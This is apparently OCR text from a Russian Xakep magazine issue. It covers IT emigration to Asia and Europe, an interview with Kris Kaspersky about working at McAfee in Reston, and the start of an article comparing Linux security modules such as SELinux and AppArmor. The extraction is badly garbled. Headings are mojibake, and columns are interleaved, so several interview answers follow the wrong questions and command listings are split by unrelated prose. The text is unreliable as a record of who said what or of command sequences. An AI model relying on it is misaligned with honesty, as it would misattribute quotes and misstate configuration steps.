СЦЕНАÃÎÍÊÎÍÃ, ÊÈÒÀÉÌÀÄÐÈÄ, ÈÑÏÀÍÈßместечка Варкала. Там мы нашли приличныйдом: четыре спальни, кухня, пара террас, холл,столовая и пр. В общем, нормальное жилище (вРоссии я такого себе позволить не могу).Поскольку оно было в 20 минутах ходьбы отокеана, месячная аренда составила $185, приусловии оплаты за полгода вперед. Хорошиедома рядом с океаном обошлись бы в $300-$500, в зависимости от площади, жадностихозяев и умения торговаться. Еще около $30 вмесяц уходило на оплату света и газа.Еда там дешевая. У нас выходило около $200 навсех, и это включая довольно частое посещениеприбрежных ресторанов. Местная кухняочень вкусная и разнообразная, не говоря ужо свежести и деликатесности отдельных блюд.Для самостоятельной готовки тоже есть почтивсе продукты, кроме, может быть, гречки инормального сыра.Мы купили сильно подержанный, но вполнерабочий скутер за $350. На нем было сподручнеевсем впятером добираться до пляжа и нетолько. В магазин там съездить, или на слонахпокататься — очень удобно. В таком виде мыстали местной достопримечательностью, даженесмотря на то, что тремя-четырьмя индусамина одном мотике никого не удивишь :).Конечно, нужно учитывать, что все описанноеотносится к семейному оседлому варианту. Всеочень размеренно и спокойно. Для любителейпотусоваться это, конечно, не то место. Но одинокомунепритязательному молодому человекутам вполне легко можно найти опрятную комнатушкуна побережье за $70-$100 в месяц. Ну ина питание будет уходить примерно столько же.Хотя если хочется путешествовать, перемещаться— тут уже немного другие бюджеты. Всеже страна немаленькая».От себя заметим, что найти работу непосредственнов Индии крайне трудно, и зарплата в$500-$700 там считается хорошей. В светеэтого совсем неудивительно, что Индию в частностии страны Азии в целом так любят и ценятудаленщики, работающие через интернет.Впрочем, не будем забывать о том, на территорииАзии расположено целых 53 государства,и далеко не все они столь приветливы киммигрантам. Взять хотя бы Китай и Японию, вкоторых все кардинальным образом отличаетсяот вышеописанного.Здесь работа для IT-шников тоже имеется, ноуже несколько иного сорта — сюда стремятсяи попадают в основном специалисты действительновысокого класса (в частности, имеетсяпочти вечная нехватка талантливых инженеров).Уровень цен в цивилизованных местахВосточной и Юго-восточной Азии на порядоквыше (а в нецивилизованных ты вряд лизахочешь селиться), и да-да, здесь чертовскитесно — перенаселение, знаешь ли; на Востокеторчит почти 60% всего человечества.Уехать работать в высокотехнологичные страныВостока непросто, если ты, конечно, не аутсорсер-дауншифтер,и тебе не все равно, где находиться,лишь бы уровень цен и комфорта тебяустраивал. То есть, вряд ли ты сумеешь найтиÂÈÇÈÒÍÀß ÊÀÐÒÎ×ÊÀ ËÎÍÄÎÍÀ —ÄÂÓÕÚßÐÓÑÍÛÉ ÀÂÒÎÁÓÑсерьезную, хорошо оплачиваемую должностьна том же побережье Китая, в туристическо-курортнойзоне, в то время как Шанхай,Пекин и Харбин, где расположены представительствамногих компаний-монстров IT,всегда находятся в поиске светлых умов.Для того, чтобы перебраться сюда болееосновательно, понадобятся серьезныеталанты, желание и упорство, немало вознис бумагами, а также придется учить местныйязык, так как одним английским здесь ужене обойдешься. Хотя, повторимся, работаздесь имеется, и ее действительно много,просто веб-мастеров и SEO-специалистов тутхватает и своих :).Если же говорить об окончательном переездена ПМЖ и получении гражданства, то этовообще огромная сложность — например,программ иммиграции в Японии практическинет, так что натурализация, по большомусчету, возможна только через брак. В итогебольшинство проживающих в стране восходящегосолнца IT-шников живут по рабочейвизе, продляя ее, или же находят учебныеварианты — можно поступить в японский вуз,после учебы остаться на стажировку, а дальше— глядишь, и хорошая работа найдется.ÅÂÐÎÏÀ — ÁÎÃÀÒÑÒÂÎ ÂÛÁÎÐÀЕвропа, как часть света, не намного меньшеАзии — это 45 государств, которые сильноразнятся по всем параметрам. В этой связикратко обрисовать, каково это — «жить в Европе»,вряд ли возможно, ведь уровень цен,уровень жизни и многие другие факторы могутсильно варьироваться даже в пределах однойстраны (а то и города).Европа привлекает IT-шников всех мастей,что довольно логично, ведь она многонациональнаи весьма толерантна. При желанииздесь найдет свое место и карьерист, мечтающийо престижной работе в топовой IT-компании,и скромный удаленщик, ищущий благцивилизации, но в тишине и покое.Сказывается, конечно, и относительнаяблизость Родины — все же слетать из Лондонаили Мадрида в Россию, чтобы навеститьродных и друзей или разобраться с делами— куда ближе и дешевле, нежели, к примеру,с Бали.Перебирать все 45 государств и обстановку в084 XÀÊÅÐ 08 /139/ 10


них мы, конечно, не будем, но по некоторымвсе же пройдемся.На Британских островах сейчас все довольнотоскливо.Ирландия, где еще 3-5 лет тому назад былонемало работы в IT-сфере, сегодня вряд лисможет чем-то порадовать. «Гиннес», Дублини День Святого Патрика — это, конечно,круто, но только первое время. Потом же, какпоказывает практика, становится скучно игрустно — работы сейчас почти нет (последствиякризиса), цены кусаются, да и климат налюбителя.Британия, равно как и Франция, и без тогонаводнена «понаехавшими», а недавние измененияв законах об иммиграции удручают— сейчас практически невозможно предсказать,что будет через несколько лет, и по какимправилам будут давать ПМЖ и гражданство.К тому же, здесь недавно подняли планку дляполучения рабочей визы Tier 1, чем почтиполностью зарубили подачу документов изРоссии. Дело в том, что для получения Tier1 требуется не только сдача языкового тестаIELTS и наличие свободных финансовыхсредств, но и диплом магистра (Master’sDegree), а русские магистры и специалистытеперь приравнивают ся к бакалаврам. Еще поновым правилам нельзя отсутствовать в UKбольше 90 дней в году. Знающий народ сообщает,что при желании можно доказать и своюстепень (получив в NARIC нужную справку),да и в 90 дней, вроде бы, не должны входитьотпуск и командировки, но на деле все это невсегда соответствует действительности. Еслиучесть также высокий уровень цен (комнатув приличном районе, рядом с метро дешевле500-700 фунтов (24-33 тыс. рублей) не найти,а поездка на метро обходится примерно в 100«деревянных»), картина, сам понимаешь,получается не особенно привлекательная.В Испании тоже не слишком радужно — все теже последствия кризиса, паршивая экономическаяситуация в стране (Греция ужефактически обанкротилась, и Испания в этомвопросе уверенно дышит ей в спину).Очень велик процент безработицы — более20%, что делает Испанию лидером в этомвопросе во всей западной Европе, но в средеIT, тем не менее, что-то вполне можно найти.Без документов здесь, как и в большинстведругих стран ЕС, поработать не выйдет (налюбое место найдется куча желающих, но сдокументами), так что для получения рабочейвизы потребуется приглашение от серьезногоработодателя. Получить вид на жительствотрудно, гражданство — еще сложнее. Цены вИспании — это что-то среднее между Питероми Москвой. Например, съем более-менее приличнойжилплощади в Мадриде обойдетсятебе в 800-1000 евро в месяц, но в пригородеможно подыскать вариант за 500 евро.А вот Германия в наши нелегкие временачувствует себя хорошо и вполне уверено.Если ты следишь за мировыми новостями, тознаешь, что новоиспеченные европейские«страны-банкроты» бросились просить помощикак раз у ФРГ.Работа для технарей здесь есть, более того,если тебя приглашает немецкая фирма, приэтом сразу дается вид на жительство (навремя работы). Правда, в случае расставанияс работодателем тебя быстренько попросятудалиться из страны.В целом, с бумагами и трудоустройством«ДЛЯ ТОГО, ЧТОБЫ ПЕРЕБРАТЬСЯСЮДА БОЛЕЕ ОСНОВАТЕЛЬНО, ПО-НАДОБЯТСЯ СЕРЬЕЗНЫЕ ТАЛАНТЫ,ЖЕЛАНИЕ И УПОРСТВО, НЕМАЛОВОЗНИ С БУМАГАМИ»XÀÊÅÐ 08 /139/ 10ситуа ция аналогична другим странам ЕС —сперва компания, принимающая тебя на работу,должна доказать, что такого же специалистаневозможно найти в Германии или в EU.Остаться здесь на ПМЖ, получив гражданство,достаточно проблемно, самые верныеварианты — через брак или открытие своегодела. С остальным возможны трудности.Для комфортного проживания и работы вФРГ тебе понадобится знать или выучитьнемецкий язык, хотя знание английского тожене будет лишним.Разброс цен на жилье довольно велик, таккак страна немаленькая. В больших городах,традиционно, дороже, то есть на среднеевропейскомуровне: двушка в Мюнхене обойдетсяв 800-1000 евро в месяц; но в то же время вЛейпциге аналогичная жилплощадь можетстоить порядка 300 евро. Стоимость продуктов,одежды и прочих товаров по странеколеблется несильно.Во Франции последствия кризиса тожезаметны не слишком сильно, но есть немногодругая проблема — как уже было сказановыше, это большое количество иммигрантов.Многие, кто прожил во Франции по несколькулет, отзываются об этом в крайне негативномключе: «Огромное количество отвратительноведущих себя эмигрантов из бывших колонийи слабовольная полиция, у которой нет полномочийчто-то с этим делать». Написавшийприведенные строки IT-шник, кстати, в итогепринял решение вернуться в Россию.Но если засилье арабов и необходимостьучить французский язык тебя не пугают, то востальном квалифицированному специалистуили студенту здесь можно неплохо устроиться.Шансы найти работу весьма неплохи (но нашидипломы придется подтверждать), с оформлениембумаг все обстоит примерно также,как и в других странах ЕС. Цены и климатздесь, опять же, на любой вкус, хотя, конечно,у IT-шника вряд ли получится найти работугде-нибудь на Лазурном побережье :). Затозарплаты у квалифицированных инженеровздесь начинаются где-то от 5000 евро.ÑÅÂÅÐÍÀß ÀÌÅÐÈÊÀÈ ÊÐÈÑ ÊÀÑÏÅÐÑÊÈИсторию этого человека мы решили вынестиотдельно, потому что знаем, как наши читателипо нему скучают, и знаем, что большинствопродолжает интересоваться его судьбой.Итак, для тех, кто не в курсе: один из любимейшихнародом авторов нашего журнала,известный на весь мир хакер Крис Касперски,уже успел объездить полпланеты и сейчасосел в Соединенных Штатах звездно-полосатойАмерики. На данный момент Криструдится на компанию McAfee в должности нимного ни мало senior reverse engineer.О том, как у него все это получилось, давайспросим его самого.Mifrill (M): Как родилась идея уехать из России?У тебя был конкретный план эмигрировать,или все вышло спонтанно?Крис Касперски (К.К.): Это длинная история.В общем, всему виной причины личногохарактера, которые мне здорово надоели —из-за них я решил куда-то переехать. Хотелзажить, что называется «самостоятельной,свободной жизнью». А так как Москва и Питерменя совершенно не прикалывают, а большенигде работы в РФ и нет, я стал рассматриватьвыездной вариант.М.: Перед тем, как осесть в Штатах, ты успелпобывать в куче стран, помнится, был даже вЮАР. С чем это было связано?К.К.: Технически сейчас я в Штатах уже втретий раз, а до этого я фрилансил по всемумиру. В ЮАР был, да — сотрудничал там с компаниейsensepost.com. По сути, в разъездахя выбирал между ЮАР, Израилем, Европой иШтатами. Присматривался.М.: А как именно выбирал, от чего отталкивался?То есть ты находил предложения оработе и отталкивался от них, или вначалеабстрактно сел и подумал на тему «страна,где я хотел бы жить», а уж потом искал работуименно там?К.К.: Ну, прежде всего, конечно, была работа— мне предложили, я и поехал. Думал, чтопросто так, а оказалось, надолго.085


СЦЕНАВообще, сначала нужно именно поработать,и здесь я пробовал все возможные варианты(Малайзия, Корея, Гонконг, Таиланд). Просточтобы хоть что-то понять, нужно пожить хотьнемного в стране и посмотреть, вкурить вмиграционное законодательство, оценить своишансы. В общем, я какое-то время буквальножил в самолетах. И в итоге понял, что Азия меняне прикалывает.М.: Тогда позволь вопрос про неизбежную ивездесущую бюрократию. Когда ты фрилансил икатался по всему свету, трудно ли было с бумагами,в частности, с визами?К.К.: О, в свое время я задумал научиться писатьна инглише. Но как это сделать? Кто будетправить мои ошибки? Потыкался я тогда, потыкался,и никуда не берут меня с моим позорнымзнанием языка. Тогда я устроился в один журнальчик,чтобы писать эротические рассказикиот имени девушки-лесбиянки, описывающейсвои похождения. Там от моего английскоготоже пришли в ужас, но... Статьи возбуждалимолодых дрочеров, и редактор дал добро. Корректорытогда почти полностью переписывалитексты моих первых «статей», так что за вычетомвсех штрафов у меня оставалось $5 за статью,но это была школа молодого бойца. Следующийшаг — устроился блоггером в молодую, нобыстро растущую штатовскую компанию за $800в месяц. Это был Endeavor Security. Я написалпять статей, из которых опубликовали две,представляешь? Но английский мой все равносливал, так что особенно писать мне и не дали,особенно когда поняли, что я могу реверсить. Нувот. Тогда-то и зародился проект, над которымработаю сейчас, а было это в июне 2008 года.М.: Погоди, а как у тебя с языком сейчас, когдаты ездишь по всему миру, общаешься с людьми,доклады читаешь и, наконец, в Америке живешь?К.К.: Мой английский — до сих пор не фонтан —я со слуха все понимаю, но сам не очень хорошоговорю. Но когда приходится каждый деньчасов по 12 молотить языком, а потом оттягиватьсяпо «культурной программе» еще часа 4,привыкаешь.А в Штатах языковой среды, как таковой, и нет,это не Израиль. Например, у нас в командетри китайца — они между собой говорят накитайском, девушка с Тайваня, девушка из ЮАРи я из России. Плюс у шефа жена из Японии,шеф, добрейшей души человек, в последниймомент трудоустроил меня, так что в McAfee япопал уже переводом. Официально они принялименя в августе 2009 года, заключив со мнойтрудовой договор.М.: Получается, что прошел уже год. И какощущения на «новом месте» (и в стране, и вкомпании)?К.К.: Первое впечатление от самого Рестона(куда я прилетел из Сан-Франциско и где и живусейчас) было очень сильным. Представляешь,задница полная — один хайвей, высокая трава,тропинка еще более запущенная, чем в ЮАР, аиз травы белки выпрыгивают. И на ведь горододин сотовый оператор, один кинотеатр и двапродуктовых магазина. Ну, еще компьютерныймагазин Apple, и все.Вообще, здесь в Рестоне хайтек-зона. Не Кремниеваядолина, конечно, но все же — помимокрупных фирм типа «Интела» и всего прочегоесть и компании помельче, типа McAfee, а такжеофисы еще более мелких контор, типа iDefence.В общем, во второй визит мне тут уже оченьпонравилось, и я решился. К тому же у нас здесьÏÀÐÈÆ, ÔÐÀÍÖÈßК.К.: Да, с визами были проблемы, особеннопоначалу, когда у меня официально не было никакойработы, а почти везде требуется справка сэтой самой работы. Потом с этим стало намногопроще. Дело в том, что в определенный моментя откопал в Москве хорошее визовое агентство,которое и взяло на себя решение моих проблем.Но, например, едва я сделал визу в Китай — тамнеожиданно затребовали оригиналы справокс работы, приглашения. В Америку, опять же,делал визу 6 месяцев — у меня были явные миграционныенамерения, которых я и не скрывал,так что начали проверять мой бэкраунд. Я тогдалетел на интервью в Macrovision, и получилосьочень забавно: я должен был прибыть в феврале,но визу выдали только в мае, так что к нимя добрался только в июле. Но все же визы мневыдавали, еще ни в одной не отказали.М: Всем бы твою удачу и таланты :).Следующий вопрос тоже из разряда самыхочевидных — а как с языком, где и как ты училанглийский, и только ли английский?ÄÐÓÆÍÀß ÊÎÌÀÍÄÀ ÊÐÈÑÀ ÊÀÑÏÅÐÑÊÈвице-президент у нас из Украины, а старшийвице-президент из Германии.Или, к примеру, в магазине гражданин СШАговорит со мной на английском, которого я непонимаю. В смысле, кассир. Потому что он —индус, а другой кассир — мексиканец. Водительтакси — обычно китаец или вьетнамец, и такдалее. Потому тут и национализма немного, ик приезжим почти нет отношения «понаехалитут».М.: Расскажи, как ты попал в McAfee. Это онитебя нашли, или ты их?К.К.: В феврале 2009 Endeavor Security, где я работал,продал все свои акции компании McAfee,и мой шеф спросил меня, какие у меня планына жизнь. Так как я тогда был контрактником, топосле этой сделки фактически терял работу, ноочень дружный тим... В общем, я из-за тимаи подписался на это дело, хотя и думал, что вмега-корпорации (а у нас около 10 тыс. сотрудникови 5 НИИ, в одном из которых я), карьеруне построить. В больших компаниях итак многомозгов, да и бюрократия такая, какой даже вСССР не было.Но так получилось, что официально, на полнуюзанятость, меня трудоустроили с августа, азимой сказали, что я — сотрудник года. Второйсотрудник года — китайский ученый, с которыммы вместе оттягивались в Пекине. Большесотрудников года не было. То есть, из 10 000человек выбрали двух. Ты меня извини за выражение,но я просто [censored].М.: А этого звания тебя удостоили за какие-токонкретные заслуги?086 XÀÊÅÐ 08 /139/ 10


в понедельник вот подал петицию на сменустатуса.Вообще, США — одна из немногих стран, укоторой есть официальная госпрограмма поподдержке профессиональных рабочих. Вдругих странах с этим труднее, там государствоне озабочено такими вопросами.М.: Что ж, удачи с бумагами, и давай напоследок немного отвлечемся от работы. Расскажи,как в США, а в частности, в городе Рестон,штат Виржиния, обстоят дела с ценамина жилье и еду, что с транспортом? Словом,посвяти нас в бытовые нюансы.ÊÓÑÎ×ÅÊ ÀÌÅÐÈÊÀÍÑÊÎÃÎ ÃÎÐÎÄÊÀ ÐÅÑÒÎÍ ÎÒ ÊÐÈÑÀК.К.: В общем, да. Если помнишь, была такаянашумевшая атака на Google — «Aurora».Вот за нее и наградили. Фокус в том, что я ееэвристикой распознал, модулем, который собралеще в августе-месяце, то есть за полгодадо самой атаки. Конечно, мне просто повезло,как везет немногим... Но в итоге оказалось,что передо мной открылись такие перспективы,о которых я вообще мечтать не мог. Даже впринципе.М.: Например?К.К.: Возможность заниматься тем, что мнеинтересно. То есть, у меня есть свой продукти свое видение ситуации. Я его точу, и меняникто не трогает :). Более того, даже вышестоящееначальство мне помогает. Вот сейчасглавный архитектор в свободное времяработает над моим экспериментальным проектом,который пока функционирует только налабораторном столе.М.: Да, заниматься любимым делом, имея дляэтого и время, и средства, и получая за этоденьги — это действительно прекрасно. А пофрилансерским разъездам не скучаешь?К.К.: Ну, я недавно два месяца нагло прогуливал,слоняясь по Европе и посылая шефуприветы то из Швейцарии, то из Афин :). Меняза это загнали в 5-дневный неоплачиваемыйотпуск, то есть, я потерял 1/4 зарплаты замесяц. Обиделся жутко.XÀÊÅÐ 08 /139/ 10Нет, на самом деле, я работал, конечно... Какраз гуляю по афинским развалинам, а тут нателефон приходит смс, мол, полундра. Я хватаюноут (Asus eee, благо он с собой, в сумке)и прямо среди развалин сажусь и работаю направительство США :).М.: Но получается, в Америке ты осел уженадол го, раз тебе все нравится и впередипрекрасные перспективы?К.К.: Если честно, Европа мне нравится больше,так что Штаты вариант пока не окончательный— представительства McAfee есть и вЕвропе. А осел я пока что, так как невыездной.М.: Погоди, то есть сейчас ты в статусе нелегала?..«ПЕРВОЕ ВПЕЧАТЛЕНИЕ ОТ САМОГОРЕСТОНА БЫЛО ОЧЕНЬ СИЛЬНЫМ.ПРЕДСТАВЛЯЕШЬ, ЗАДНИЦАПОЛНАЯ»К.К.: Нет, не совсем. Каждый раз при въезде встрану (в США), ты объясняешь таможенникуцели визита, показываешь вещдоки, беседуешьс ним, а он снимает отпечатки, фотографируетсетчатку и отправляет тебя дальше.Проходишь, в общем, через три круга ада,и последняя инстанция бухает тебе штампi94, где указано, сколько ты можешь быть вСША — обычно это три или шесть месяцев свозможностью продления. Получается, чтонаходиться в США можно и без визы, но вотвыехать нельзя. Точнее, можно, конечно, нопотом не получится въехать обратно. Вот ясейчас как раз такой «невыездной» — позициялегальная, просто i94 заканчивается.Можно продлить на 6 месяцев, но нельзяпересекать границу, так как визы нет. Как разК.К.: Как я искал жилье? Да я уже был вкурсе, что здесь и как, разобрался еще вовремя прошлых визитов (и в инете можнонайти все!). Жилье снимается элементарно— за $2000 можно снимать двухэтажныйдом с бассейном и личным кортом, на то унас и деревня, хоть и до Вашингтона рукойподать. Но я за чуть меньшие деньги снимаюдовольно скромную квартиру, потому что чисто,с мебелью и быстро. При этом часто дажепаспорта не спрашивают, как ни странно.Ну, у меня вот не спрашивали ни ID, никакихдругих документов. Оплату просто с кредиткисписывают понедельно.А вот купить квартиру здесь... В общем-то,если брать в кредит, квартира в центреРестона с одной спальней обойдется в $500в месяц, при зарплате порядка $10 000 вмесяц. Так что получается, квартира практическиничего не стоит. Но, повторюсь, у насдеревня :)С ценами на еду и прочие товары жизненнойнеобходимости все обстоит примернотакже: на 100 баксов можно набрать оченьмного вкусного в магазине «для богатых», вкотором, кхм, немногие из наших сотрудниковотоваривают ся, и спокойно питаться купленнымнеделю. Интернет... Ну, в принципе,256 килобит за $20 в месяц — это нормально,безлимитка.А вот машины у меня нет, так как я водитьне умею — как-то вот не научился раньше,а сейчас времени нет этим заняться. И хотяот дома до офиса мне топать всего 15 минут,это все равно очень напрягает. В Штатах безмашины — труба: например, без «колес» яне могу выбирать жилье там, где хочу. Здесьчасто и тротуаров-то нет, только дороги.Так что в целом в Штатах очень даже ничего.Например, за полгода всего раз отключаливоду, минуты на две. Уведомили об этом затри дня и страшно извинились. А все почему?Да потому что при всем здешнем бардаке тут,по крайней мере, есть с кого спросить.P.S. Через три дня после этого интервью Крисуспешно получил визу O-1A, то есть сменилсвой официальный статус на неиммиграционныйрабочий, с чем мы егои поздравляем! z087


UNIXOIDЮрий «bober» Раззоренов zloy.bobr@gmail.comÃîíêàâîîðóæåíèéÑðàâíèâàåì ïîïóëÿðíûå ðàñøèðåíèÿáåçîïàñíîñòè äëÿ ÎÑ LinuxUnix, родившийся практически вместе с первыми компьютерами,использовал очень простой механизм безопасности (ugo), который гурусемидесятых посчитали более чем достаточным. Но в современнойсистеме, где крутятся десятки демонов и программ, запущенных из-подразных учеток, грамотно разрулить все права старыми инструментамиуже не получается. А делать что-то нужно.ДИСКРЕЦИОННЫЙИ МАНДАТНЫЙ КОНТРОЛЬДОСТУПАДля начала отвлечемся и поразмышляем о том,что есть и зачем нужно еще что-то прикручивать.Одна из задач любой ОС — обеспечить088разделение информации, основываясь, впервую очередь, на требованиях конфиденциальностии целостности. Традиционнаямодель Unix оперирует тремя параметрами— пользователь, группа-пользователь иостальные. Называется она дискреционной(Discretionary Access Control — DAC), то естьдобровольной моделью доступа. Пользовательсам определяет права доступа к своим файлам,а выполняющиеся программы имеют те жеправа, что и запустивший их пользователь.Механизм DAC опирается в своей работе толькоXÀÊÅÐ 08 /139/ 10


Выбор режима работы SELinuxна тождество пользователя, игнорируя другую информацию,например, о роли пользователя в системе, функции иуровне доверия конкретной программы и необходимости вцелостности данных. Каждая учетная запись имеет полнуюсвободу действий в пределах своих полномочий.Как ты понимаешь, развернуться с DAC особенно негде:все или ничего; винда — и та дает больше возможностей понастройке доступа к объектам. Поэтому сегодня для Linuxдоступны решения, базирующиеся на совершенно другоймодели защиты — MAC (Mandatory Access Control, принудительныйконтроль доступа). Они позволяют определитьполитики безопасности над всеми процессами и объектами,решение о доступе принимается на основе большего количестваинформации об объекте, а не только основываясь натождестве пользователя. Причем MAC не отменяет, а дополняетDAC, так как сначала проверяются права Unix, и, еслиони запрещают доступ, то дальнейшая проверка просто непроизводится. Проверка прав выполняется только в томслучае, если стандартные права Unix разрешают доступ кобъекту. Любой объект помещается в некую виртуальную песочницу,которая позволяет приложению выполнять толькострого регламентированные задачи. Причем при описаниидоступа к объекту конкретные реализации могут придерживатьсяразных принципов: очень строгие правила по типу«что не разрешено явно — запрещено» и «минимальнонеобходимые привилегии». Например, можно настроитьсистему так, что веб-сервер будет слушать соединения настрого определенном порту, сможет читать файлы тольков указанном каталоге и так далее. То есть описать поведениесистемы в ее нормальном состоянии, создав жесткийкаркас, за который нельзя будет выскочить. Это позволяетвыполнять программы с правами обычного пользователя,а доступ к необходимым ресурсам указывать при помощиполитик. В дистрибутивах Linux используются два решения:SELinux в RedHat и клонах, а также AppArmor в Ubuntu.В ядре версии 2.6.30 появился код еще одного проекта —TOMOYO Linux (tomoyo.sf.jp), которому пророчат светлоебудущее, но пока по умолчанию он нигде не используется.Давай рассмотрим их особенности, а также плюсы и минусы.СВЕРХЗАЩИЩЕННЫЙ SELINUXПроект SELinux (Security Enhanced Linux, selinuxproject.org) зародился в недрах U.S. NSA (National Security Agency),хмурые неразговорчивые дядьки которого поставили своейцелью допилить Linux таким образом, чтобы его можно былоспокойно использовать не где-нибудь, а в правительственныхсистемах. Анонсирован общественности в 2000 году,затем разработчики справедливо решили: зачем что-тоделать самим, если в интернете есть много желающих? ВГрафический инструмент SELinux Administrationрезультате сегодня проект развивается под лицензией GNUGPL и уже включен в состав ядра ветки 2.6.х, также выполненаадаптация для FreeBSD и OpenSolaris.Реализация MAC требует четкого описания правил, чтоможет привести к образованию большого их количества.Поэтому в SELinux использована концепция роль-основанногоконтроля доступа Role-Based Access Control (RBAC), вкоторой определяются роли и доступ пользователей. Механизмзащиты в SELinux носит название Type Enforcement(TE) и позволяет закрепить за каждым процессом и файлом,которые необходимо контролировать, некую метку. Еслипроцесс, запущенный от имени администратора, скомпрометирован,то ущерб, который может быть причиненсистеме, ограничен только тем, к чему он может обращаться,согласуясь с установленными для него правилами (а ониописывают поведение очень тонко). Также в SELinux реализованамногоуровневая система обеспечения безопасности(MLS, Multi-Level Security model), но ее задействуюттолько в особых случаях, например, в правительственныхмногопользовательских системах, требующих чрезвычайновысокого уровня защиты. Когда в процессе работы системысубъект пытается оказать некое действие на объект, SELinuxпринимает решение о допустимости указанного действия,основываясь на контекстах безопасности объекта исубъекта. Субъект — это процессы, выполняемые от именизапустившего их пользователя. Объект — элементы файловойсистемы (файлы, каталоги, ссылки, сокеты и пр.) илидругие процессы, над которыми выполняются действия. Итеперь самое важное, что отличает SELinux от других решений,описанных далее — все важные защитные атрибутысохраняются в контекстах безопасности. Поэтому файловаясистема должна уметь хранить дополнительные атрибуты, исами атрибуты нужно как-то задать. Современные ядра всеобеспечивают, но при самостоятельной пересборке ядране забудь активировать параметр «Extended attributes» ввыбранной файловой системе.Атрибуты устанавливаются при инициализации системы.Отсюда делаем вывод, что объект уже должен существоватьна момент установки атрибутов. Сам атрибут включаетидентификатор владельца, роль и тип объекта. Причемидентификатор SELinux (создается командой semanage),хотя и может совпадать в номере с UID пользователя Linux(uid), но это две разные вещи. Не забываем еще об одномважном отличии — SELinux оперирует ролями, поэтомунесколько учетных записей Linux могут иметь одну и ту жеучетную запись SELinux. И главное — выполнение командыHTTP://WWWlinks• Сайт проекта SELinux— selinuxproject.org• Сайт проектаTOMOYO Linux —tomoyo.sf.jpINFOinfoКаждое приложениедолжно иметь доступтолько к тем файлами каталогам, которыедействительнонеобходимы для егоработы. И не болеетого.DVDdvdНа прилагаемомк журналу диске тынайдешь видеороликк этой статьеXÀÊÅÐ 08 /139/ 10 089


UNIXOIDПроекты LIDS, GRSecurity и RSBACКроме проектов, описанных в статье, в настоящее время развиваютсяи другие, позволяющие повысить защиту Linux-систем— LIDS (Linux Intrusion Detection System, lids.org), GRSecurity(grsecurity.org) и RSBAC (Rule Set Based Access Control, www.rsbac.org). Кратко о них.Проект LIDS реализует MAC, админ может четко указать разрешениядля файлов и каталогов. Помимо этого механизмы TPE (TrustedPath Execution) и TDE (Trusted Domain Enforcement) позволяютубедиться, что программа работает так, как предназначено. Сайтпроекта некоторое время был заброшен, хотя инструменты развиваются.Управление производится при помощи утилит и чем-то напоминаетнастройку правил файера.# lidsconf -A -o /sbin -j READONLYGRSecurity — разработка, охватывающая несколько технологийукрепления безопасности — MAC/ACL, улучшенный chroot,рандомизация TCP ISN и PID, ролевая система контроля доступаRBAC, функции аудита, защита адресного пространства и стекаPaX (доступен и отдельно). Большинство параметров указываетсяна этапе сборки ядра, затем при помощи утилиты gradm настраиваютсяACL.Проект RSBAC, реализующий мандатный и ролевой механизмыдоступа, уже в 2000 году вовсю использовался в защищенных дистрибутивах.По сути, это среда, позволяющая создать различныемодели доступа. Идея основана на публикации Маршала Абрамсаи Ла Падула «Обобщенная среда для управления доступом» (GFAC,Generalized Framework for Access Control). Кроме root в ОС появляетсяучетка администратора безопасности, который и управляетдоступом к информации.Реализовано много интересных функций: отключение LinuxDAC, сокрытие процессов, JAIL, поддержка PaX, антивирусныйинтерфейс Dazuko, контроль ресурсов Linux и многое другое.Например, можно организовать доступ к файлу в определенныечасы.Смотрим активные профили и параметры AppArmor# ps aux | grep syslogdroot 2729 0.0 0.0 5908 624 ? Ss 07:30 0:00 syslogd -m 0# cat /proc/2729/attr/currentsystem_u:system_r:syslogd_t:s0Предусмотрена работа SELinux в трех режимах — disable (отключен),enforcing (политики выполняются, все, что не соответствует — блокируется),permissive (политики анализируются, все нарушения заносятсяв журнал «avc: denied», но блокировки не производятся). Узнать текущийрежим просто, как, впрочем, и некоторые другие настройки, достаточнопрочитать данные из псевдофайловой системы /selinux:$ cat /selinux/enforceЕсли получим 1, значит, SELinux активирован. Чтобы изменить режимработы на лету, просто записываем в этот файл 0 или 1:# echo 0 > /selinux/enforcesu не меняет идентификатора SELinux. То есть root здесь не всевластен.Проверить это легко:$ id –Zuser_u:user_t:unconfined_tПолучаем привилегии суперпользователя и проверяем снова:Также можно воспользоваться утилитой «setenforce [ Enforcing |Permissive | 1 | 0 ]».Собственно настройки производятся в конфигурационных файлах, размещенныхв каталоге /etc. В дистрибутивах, базирующихся на RedHat,доступен графический SELinux Administration Tool (system-configselinux,пакет policycoreutils-gui). Так, режим работы устанавливается вфайле /etc/sysconfig/selinux (на самом деле это ссылка на /etc/selinux/config). В частности, режим работы определяет параметр SELINUX:$ su# id –Zuser_u:user_t:unconfined_tЕсли зайти сразу под рутом, то роль другая:# id -Zroot:system_r:unconfined_t:SystemLow-SystemHighИзменить роль можно при помощи команды newrole. При использованииSELinux штатные команды выводят и контекст. Чтобы просмотретьконтекст файлов и процессов, набираем:SELINUX=enforcing|permissive|disabledПо умолчанию в большинстве дистрибутивов SELinux защищает не вседемоны, а только строго определенные: dhcpd, httpd, named, nscd, ntpd,portmap, snmpd, squid и syslogd. Для остальных политика не определена— unconfined_t. Чтобы защитить всю систему, необходимо изменитьзначение SELINUXTYPE на strict:SELINUXTYPE=targeted|strictВ каталоге /etc/selinux/targeted/contexts находим описание контекстов.Например, для root контекст описывается так:# ls -l –context /# ps -ax -Z# cat /etc/selinux/targeted/contexts/users/rootsystem_r:unconfined_t:s0 system_r:unconfined_t:s0Кроме того, контекст можно считать прямо из /proc:090system_r:initrc_t:s0 system_r:unconfined_t:s0XÀÊÅÐ 08 /139/ 10


Все вспомогательные утилиты SELinux собраны в нескольких пакетах:setools или policycoreutils, policycoreutils-newrole. Первый, какправило, уже установлен в системе, остальных нет. Например, newrole,дающая возможность пользователю сменить роль, доступна именно вpolicycoreutils. После установки в системе присутствуют только наборыполитик для targened, остальные наборы политик скачиваются впакетах selinux-policy*. Сорцы политик для их самостоятельной сборкивынесены в selinux-policy-devel.Разобраться в более чем 200 файлах, имеющих несколько тысяч строк,врукопашную очень трудно. Автоматизировать эту задачу призванпитоновый скрипт audit2allow (в policycoreutils), он генерирует новыеполитики на основе анализа журналов и блокировок SELinux.Типичная политика AppArmorСбиваем спесь со SkypeНаверное, больше всего претензий с точки зрения безопасности упользователя вызывает Skype. Куда только не лезет эта прога (см. статьюКриса «Skype: скрытая угроза», www.xakep.ru/post/38543/default.asp). Описываемые технологии как раз и позволяют обезопасить себя.Забегая вперед, скажу, что пользователи уже давно нагенерировалипрофили для большинства популярных прог, и скайп здесь не исключение.Смотри, например, здесь: 